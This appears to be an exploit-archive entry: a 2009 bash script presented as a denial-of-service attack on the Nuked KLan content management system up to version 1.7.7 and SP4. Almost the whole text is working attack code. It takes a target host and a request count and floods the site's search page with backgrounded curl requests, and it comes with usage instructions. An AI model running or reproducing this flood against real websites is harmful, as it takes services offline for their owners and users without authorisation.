Nuked KLan 1.7.7 & SP4 - Denial of Service

#!/bin/bash
# Nuked KLan <= 1.7.7 & <= SP4 DOS
# Copyright 2009 ; Hamza 'MizoZ' N. <mizozx[at]gmail[dot]com>
#
# Needs : cURL
# This is a DOS issue for Nuked Klan <= 1.7.7 & <= SP4 ,
# it uses multiple requests on the search page .
#
# Tested on Windows Sv 2008 & Gentoo 8.1

show() {
  echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  echo "Nuked KLan <= 1.7.7 & <= SP4 DOS"
  echo "Author : Hamza 'MIzoZ' N. < mizozx[at]gmail[dot]com"
  echo "Usage  : sh $0 -h [HOST] -r 1000"
  echo "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  echo ""
}

while [[ $# != 0 ]]; do
    arg_name=$1; shift
    case "$arg_name" in
      -h) host=$1; shift;;
      -r) requests=$1; shift;;
      *) echo "invalid option: $1"; show;exit 1;;
    esac
done

[ -z "$host" ] && { show; exit 1; }
for random in `seq 1 $requests`; do
curl -A Firefox -o --url "$host/index.php?file=Search&op=mod_search&main=site" > /dev/null 2>&1 &
sleep 0.001;
echo "~~";
done